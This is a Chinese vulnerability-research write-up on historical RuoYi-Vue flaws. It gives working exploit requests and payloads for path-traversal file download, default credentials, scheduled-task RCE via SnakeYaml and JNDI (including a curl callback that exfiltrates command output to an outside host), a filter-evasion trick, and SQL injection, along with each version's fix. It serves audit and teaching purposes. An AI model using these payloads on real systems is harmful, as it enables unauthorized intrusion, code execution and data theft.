RuoYi-Vue历史漏洞

1.开发测试环境搭建(审计环境)

1.1.开发环境

  1. RuiYi-Vue历史版本下载地址

  2. 安装IDEA

  3. 配置Maven

  4. 安装Mysql

    创建数据库ry-vue

image-20240117123129052

运行下载源码中的sql

image-20240102211404884

image-20240102211529758

获得如下表

image-20240102211631892

  • 修改连接数据库的用户名密码、路径

image-20240117123251148

  • 启动redis
  • 启动后端环境
  • 运行前端环境
  • 安装nodejs
1
2
3
$ cd ruoyi-ui
$ npm install # 安装node_modules依赖
$ npm run dev # 启动前端开发环境

2.历史漏洞

2.1.任意文件下载

2.1.1.低版本(<V-3.2.0)

2.1.1.1.简介

  • 该漏洞是由于在RuoYi-Vue低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。

2.1.1.2.代码审计(V-3.0)

  • 接口位置
  • com/ruoyi/web/controller/common/CommonController.java

image-20240115123633799

  • 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
  • D:/ruoyi/uploadPath

image-20240115122914585

  • 路径前缀(即接收输入参数路径的前缀)

image-20240115123503151

  • 且该类不存在接口前缀,因此接口地址即为 **/common/download/resource **

image-20240115123813393

  • 添加请求参数name=/profile/1.txt

2.1.1.3.漏洞复现(<V-3.2.0)

2.1.1.3.1Windows开发环境
  • 为了测试我们在WEB文件磁盘的根目录下创建如下两个文件

image-20240115124135619

  • 这次我们postman进行测试
  • 先登陆获取到Token

image-20240117193836126

  • 在Postman中添加自定义请求头
  • Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImE4OGFmZjVlLWVjYzItNGMyNC04ZDNlLWFhOWU0OWNlNGM2ZCJ9.atRZz1zUNtjhMIfDsdtfUJvOoaljSSmE4PN5G8AbOLXS-SXow-GJ5DDdA5u1NT0azxDkmUfWZ95Zy1QQYMR3ZQ
  • 请根据自己获取到的token添加

image-20240117194142769

image-20240117194235161

  • 请求JPG文件,如图,可通过Save Response将图片保存下来查看

image-20240117195021628

  • 保存为对应的jpg格式即可打开查看

image-20240115124807794

2.1.1.3.2.linux生产环境
  • 打包到linux环境时需要修改配置文件中的默认文件路径

  • /home/ruoyi/uploadPath

  • 获取到linux环境下的Token

  • /common/download/resource/?name=/profile/../../../../../../etc/passwd

  • 在postman中更改指定Token值,key为Authorization,Value为Bearer eyjh……..

image-20240117195354811

2.1.1.4修复(可绕过)(V-3.2.1)

  • 在V-3.2.1版本之后会对用户输入的rousource路径进行过滤,不允许包含..和校验不允许的文件下载类型
  • ruoyi-common\src\main\java\com\ruoyi\common\utils\file\FileUtils.java

image-20240115201459512

  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240115201523403

2.1.2.定时任务绕过思路(<V-3.8.2)

2.1.2.1.代码审计(V-3.2.1)

  • 在RuoYi-Vue定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。
  • 以此来绕过必须使用resource来下载资源文件的方式。
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240116212822157

  • 例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile(‘C://windows/win.ini’) ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。

  • 具体思路入下

      1. 调用定时任务ruoYiConfig.setProfile(‘C://windows/win.ini’)

      2. 调用接口resource=.jpg ,其中resource的值为任意不包含前缀/profile,且文件类型检测中存在的文件类型(输入的resouce值会直接被清空,下载的实际路径则会变成 **String localPath = RuoYiConfig.getProfile() ** 的值)。

        image-20240116213835954

      3. 系统则调用 **FileUtils.setAttachmentResponseHeader(response, downloadName); **下载系统文件

  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240116213548324

2.1.2.2.绕过复现(V-3.2.1)

  • 添加定时任务
    • ruoYiConfig.setProfile(‘C://windows/win.ini’)
    • 0/10 * * * * ?

image-20240116214455049

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PUT /dev-api/monitor/job HTTP/1.1

Host: 192.168.31.246

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjZmMzljMzBkLWNjOGYtNDA0MC05ZjNlLWZkOWJlOGQ3ZGFjOCJ9.2B8Ry8ACiLDl4iggiPvS0VxV3tVE-HlHq6rxUE0od-sHNqbz3yKXdfouMV_MjOp0BwOlyhfqKuZtTQIH8eCrqQ

Content-Length: 385

Origin: http://192.168.31.246

Connection: close

Referer: http://192.168.31.246/monitor/job

Cookie: Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjZmMzljMzBkLWNjOGYtNDA0MC05ZjNlLWZkOWJlOGQ3ZGFjOCJ9.2B8Ry8ACiLDl4iggiPvS0VxV3tVE-HlHq6rxUE0od-sHNqbz3yKXdfouMV_MjOp0BwOlyhfqKuZtTQIH8eCrqQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"searchValue": null,
"createBy": "admin",
"createTime": "2024-01-17 13:29:48",
"updateBy": null,
"updateTime": null,
"remark": "",
"params": {},
"jobId": 100,
"jobName": "ruoYiConfig.setProfile",
"jobGroup": "DEFAULT",
"invokeTarget": "ruoYiConfig.setProfile('C://windows/win.ini')",
"cronExpression": "0/10 * * * * ?",
"misfirePolicy": "2",
"concurrent": "1",
"status": "1",
"nextValidTime": "2024-01-17 21:36:40"
}
  • 执行任务

image-20240117213947274

image-20240117214013376

image-20240116214825739

-

image-20240116214929066

  • linux系统复现流程相同,不再重复

2.1.2.3.修复(V-3.8.2)

  • 在V-3.8.2版本中系统对调度任务添加白名单限制,不存在白名单限制范围类的类不允许调用。
  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240117220746399

  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\util\ScheduleUtils.java

image-20240117220835456

  • ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java

image-20240117220951825

2.1.3.注意事项

  1. 值得注意的是在RuoYi-Vue低版本(<V-3.2.1)无需绕过的版本,文件名参数为name,而高版本(>=V-3.2.1)需要绕过的版本文件名参数为resource
  2. 请求url末尾一定要加上”/“否则请求失败,而在RuoYi不分离版本则可以无需末尾加”/“

2.2.未授权访问(<V-3.5.0)

http://localhost:8080/druid/index.html

http://localhost:8080/swagger-ui.html#/

2.2.1.swagger-ui未授权访问

  • 接口地址: **/swagger-ui.html **
  • 若可直接访问后端地址的话可直接 **[后端地址:端口号/swagger-ui.html] ** 即可访问,接口地址,
  • 若存在反代,不可直接访问后端地址,那就请求前端加上前缀即可 **[前端地址/接口前缀/swagger-ui.html] **
  • 开发环境默认前缀为 /dev-api ,生产环境默认前缀为 /prod-api ,后端默认端口号为 8080
  • 可能大多数项目都更改了环境的默认前缀,只需要进入登陆页面查看验证码的请求路径即可知道请求前缀。

image-20240118164545056

image-20240118162839322

2.2.2.druid未授权访问

  • 接口地址: **/druid **
  • 其余和swaggeer-ui接口保持一致

image-20240118163002576

  • 在V-3.5.0版本开始,druid需要开始需要输入密码且默认口令为ruoyi/123456

  • ruoyi-admin\src\main\resources\application-druid.yml

image-20240118164231233

  • ruoyi-framework\src\main\java\com\ruoyi\framework\config\SecurityConfig.java

image-20240118163140364

2.3.默认口令(全版本)

  1. 很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。
  2. 不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除,或者修改密码。
  3. RuoYi默认口令:admin/admin123ry/admin123
  4. druid控制台:ruoyi/123456,接口地址 **/druid **

2.4.定时任务远程RCE(<V-3.8.0)

需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。

2.4.1.SnakeYaml 反序列化

2.4.1.1.简介

  • 通常只要引用了Snakeyaml包的几乎都可进行反序列化

  • 可查看代码是否调用 **new Yaml(); **

image-20240115215349968

2.4.1.2.漏洞复现(V-3.2.1)

  • 下载yaml反序列化payload工具

    • 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
  • 下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令

image-20240115221453628

  • eg: curl http://192.168.31.246:7000?CMDEcho=$(whoami)
  • 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
  • 除此之外,我们需要使用$()命令替换,用于命令回显,因此我们改写一下命令执行函数。
  • 改写方法如图

image-20240116013237130

1
2
3
4
5
6
String[] cmd = {
"/bin/bash",
"-c",
"curl http://192.168.31.246:7000?echo=$(whoami)"
};
Runtime.getRuntime().exec(cmd);
  • 在工具根目录 编写yaml-payload.yml文件

    1
    2
    3
    4
    5
    !!javax.script.ScriptEngineManager [  
    !!java.net.URLClassLoader [[
    !!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]
    ]]
    ]
  • 使用JAVA编译该文件,并且打包为jar,命令如下

1
2
$ javac src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C src/ .
  • 然后在该位置使用python开启http服务,用于远程加载该jar文件

image-20240115221854490

  • 添加定时任务加载jar包
  • 目标字符串org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://192.168.31.246:8000/yaml-payload.jar"]]]]‘)
  • cron表达式0/10 * * * * ?

image-20240118111025388

  • 添加定时任务请求包
  • header
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PUT /dev-api/monitor/job HTTP/1.1

Host: 192.168.31.246

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImY5YWFiM2NiLWIzMmEtNDY2MC1hYzg4LTdkNmUwODBmYTk4OCJ9.FIeRl41-_TalRRNC0AgCb96Re51s8NpgEHZyHAuPp8M6qIKBouLd_nom-6-FKYnq6aC-tqCszoxfdkb_1Lv2yw

Content-Length: 499

Origin: http://192.168.31.246

Connection: close

Referer: http://192.168.31.246/monitor/job

Cookie: Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImY5YWFiM2NiLWIzMmEtNDY2MC1hYzg4LTdkNmUwODBmYTk4OCJ9.FIeRl41-_TalRRNC0AgCb96Re51s8NpgEHZyHAuPp8M6qIKBouLd_nom-6-FKYnq6aC-tqCszoxfdkb_1Lv2yw


  • body
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"searchValue": null,
"createBy": "admin",
"createTime": "2024-01-18 02:57:32",
"updateBy": null,
"updateTime": null,
"remark": "",
"params": {},
"jobId": 101,
"jobName": "org.yaml.snakeyaml",
"jobGroup": "DEFAULT",
"invokeTarget": "org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://192.168.31.246:8000/yaml-payload.jar\"]]]]')",
"cronExpression": "0/10 * * * * ?",
"misfirePolicy": "2",
"concurrent": "1",
"status": "1",
"nextValidTime": "2024-01-18 11:09:00"
}
  • 创建任务后点击执行

image-20240118111335799

  • 日志

image-20240118111507104

  • 回显结果如图

image-20240118111830853

2.4.2.JNDI注入

2.4.2.1.简介

  • 通过JNDI远程加载恶意类

  • 这次我们使用windows开发环境进行测试

  • 其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)

JDK6 JDK7 JDK8 JDK11
RMI不可用 6u132 7u122 8u113
LDAP不可用 6u221 7u201 8u119 11.0.1
  • 本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试

2.4.2.2.漏洞复现(V-3.2.1)

  • 先编译要执行的恶意类
  • javac Calc.java
1
2
3
4
5
6
7
8
9
10
11
12
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
  • 将Calc.class文件通过python服务暴露python -m http.server 6000

image-20240116003509091

  • 使用 marshalsec 工具启动一个 RMI服务 ,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入

image-20240116003914112

  • 添加一个定时任务通过lookup函数加载远程类
    • 目标字符串:org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
    • cron表达式:0/10 * * * * ?

image-20240118112812298

  • 请求包
  • header
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /dev-api/monitor/job HTTP/1.1

Host: 192.168.31.246

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImY5YWFiM2NiLWIzMmEtNDY2MC1hYzg4LTdkNmUwODBmYTk4OCJ9.FIeRl41-_TalRRNC0AgCb96Re51s8NpgEHZyHAuPp8M6qIKBouLd_nom-6-FKYnq6aC-tqCszoxfdkb_1Lv2yw

Content-Length: 223

Origin: http://192.168.31.246

Connection: close

Referer: http://192.168.31.246/monitor/job

Cookie: Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImY5YWFiM2NiLWIzMmEtNDY2MC1hYzg4LTdkNmUwODBmYTk4OCJ9.FIeRl41-_TalRRNC0AgCb96Re51s8NpgEHZyHAuPp8M6qIKBouLd_nom-6-FKYnq6aC-tqCszoxfdkb_1Lv2yw
  • body
1
2
3
4
5
6
7
8
9
{
"jobName": "rmi",
"jobGroup": "DEFAULT",
"invokeTarget": "org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://192.168.10.129:8888/Calc')",
"cronExpression": "0/10 * * * * ?",
"misfirePolicy": "2",
"concurrent": 1,
"status": "1"
}
  • 点击执行任务,弹出计算器,测试成功。
LDAP注入
  • 启动ldap服务

  • java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.10.129:6000/#Calc“ 8888

  • 添加一个定时任务通过lookup函数加载远程类

    • 目标字符串:javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)

    • cron表达式:0/10 * * * * ?

  • 点击执行,弹出计算器,测试成功

image-20240116004958364

2.4.3.高版本绕过策略(V-3.7.0)

  • 在V-4.7.0版本中RuoYi添加了对ldaprmi以及http字符串的过滤
  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240116005923125

image-20240116005902002

  • 但是可通过添加”‘“的方式来绕过。

  • 例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测

  • 没添加”‘“绕过

image-20240118122836986

  • 添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
    • rmi: org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)
    • ldap: javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)
    • SnakeYaml: org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)

image-20240118122930275

  • 测试通过,命令执行成功

image-20240118112624175

2.4.4.修复(V-3.8.0)

  • 直接对定时任务调用的类进行黑马名单限制
  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240117221819889

  • ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java

image-20240117222006176

2.5.SQL注入

2.5.1.注入点1 /dept/edit (<V-3.6.0)

2.5.1.1.验证payload

  • 部门编辑接口

image-20240118144929255

  • 原包

image-20240118145226864

  • 攻击POC: **”ancestors”:”0)or(extractvalue(1,concat(0,(select user()))));#” **

  • DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定

image-20240118144946710

  • header
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PUT /dev-api/system/dept HTTP/1.1

Host: 192.168.31.246

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjY4Y2YzYjFhLTY1Y2MtNDM4YS1iNGZiLTc5YWMxMTUyZDA5ZiJ9.v0S4tOi3yzoWoMO1QVqLvaozFrfpXi3ctJlTS4trMAnD9IICwN0-ei0ieKbZI6v6pb07B1rizn7Y8KUwaSpKpA

Content-Length: 344

Origin: http://192.168.31.246

Connection: close

Referer: http://192.168.31.246/system/dept

Cookie: Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjY4Y2YzYjFhLTY1Y2MtNDM4YS1iNGZiLTc5YWMxMTUyZDA5ZiJ9.v0S4tOi3yzoWoMO1QVqLvaozFrfpXi3ctJlTS4trMAnD9IICwN0-ei0ieKbZI6v6pb07B1rizn7Y8KUwaSpKpA
  • body
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"searchValue": null,
"createBy": "admin",
"createTime": "2024-01-16 16:44:01",
"updateBy": null,
"updateTime": null,
"remark": null,
"params": {},
"deptId": 100,
"parentId": 8888,
"ancestors": "0)or(extractvalue(1,concat(0,(select user()))));#",
"deptName": "测试部门00",
"orderNum": 3,
"leader": "若依",
"phone": "15888888888",
"email": "[email protected]",
"status": "0",
"delFlag": "0",
"parentName": null,
"children": []
}

其中 ancestors注入参数不能超过50个字符。

  • 我们还可以时间盲注POC: &ancestors=0)or(sleep(1));# , 时间比例为1:10

image-20240118153351452

2.5.1.2.代码审计(V-3.4.0)

  • 接口
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240111005722259

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240111005809250

image-20240111010106515

  • ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240111005845079

  • 注入点在updateDeptStatus SQL中的 where dept_id in (${ancestors})这条语句中,因此我们需要其执行**deptMapper.updateDeptStatus()**该方法
  • 这个方法是又由updateParentDeptStatus方法调用
  • 再到updateParentDeptStatus方法中。因此我们得出一下结论

image-20240111010433521

image-20240111010509843

  • 因此我们传入的Status必须为 0否则无法执行到updateParentDeptStatus方法

  • 再重新回到controller方法中

image-20240118153001866

  • 因此通过controller方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即 DeptId不等于ParentId,以及部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在

  • 且我们通过SysDept定义得对象实体中知orderNum的值不能为空

  • com/ruoyi/system/domain/SysDept.java

image-20240111011451879

  • 由于ancestors的值为varchar(50) ,因此输入的字符串长度不能超过50个字符

image-20240111014745789

  • 总结所有条件得出payload:

    1. Status必须为 0,即Status=0
    2. 上级部门不能是自己,即DeptId!=ParentId
    3. 部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在
    4. orderNum的值不能为空
    5. ancestors字符长度小于50
    6. 附加:由于是edit,因此接口主键DeptId必须是数据库中能查到的部门ID
  • 因此以下是可注入成功的最少字段

image-20240118152039704

1
2
3
4
5
6
7
8
{
"deptId": 100,
"parentId": 1999,
"ancestors": "0)or(extractvalue(1,concat(0,(select user()))));#",
"deptName": "测试部门003",
"orderNum": 3,
"status": "0"
}
  • 执行SQL
1
2
3
4
5
6
7
8
9
10
11
12
13
UPDATE sys_dept 
SET STATUS = '0',
update_by = '1',
update_time = sysdate()
WHERE
dept_id IN ( 0 )
OR (
extractvalue (
1,
concat(
0,(
SELECT USER
()))));#)

image-20240111013903364

2.5.1.3. 代码审计 修复(V-3.6.0)

  • 通过对比两个版本的代码发现V-3.6.0已不再使用该SQL。

image-20240111013244679

3.总结

  1. 相比与RuoYi前后端不分离版本,前后端分离VUE版本的可利用漏洞更少。

  2. 由于VUE版本使用的是SpringSecurity安全框架未使用shiro框架,因此不存在shiro反序列化漏洞。

  3. VUE版本未使用thymeleaf视图渲染组件,因此也不存在SSTI模板注入。

  4. 并且由于默认情况下VUE版本,对于/export和/list,均使用的是get请求,不支持post请求,无法通过请求参数注入params-dataScope参数。虽然VUE版本在3.7.0开始在/export接口使用post进行传参,但是可惜的是VUE在3.6.0版本就加入了clearDataScope方法来清空dataScope的值,因此这个注入点在VUE全版本均不可利用(二次开发者未修改请求类型的情况下)。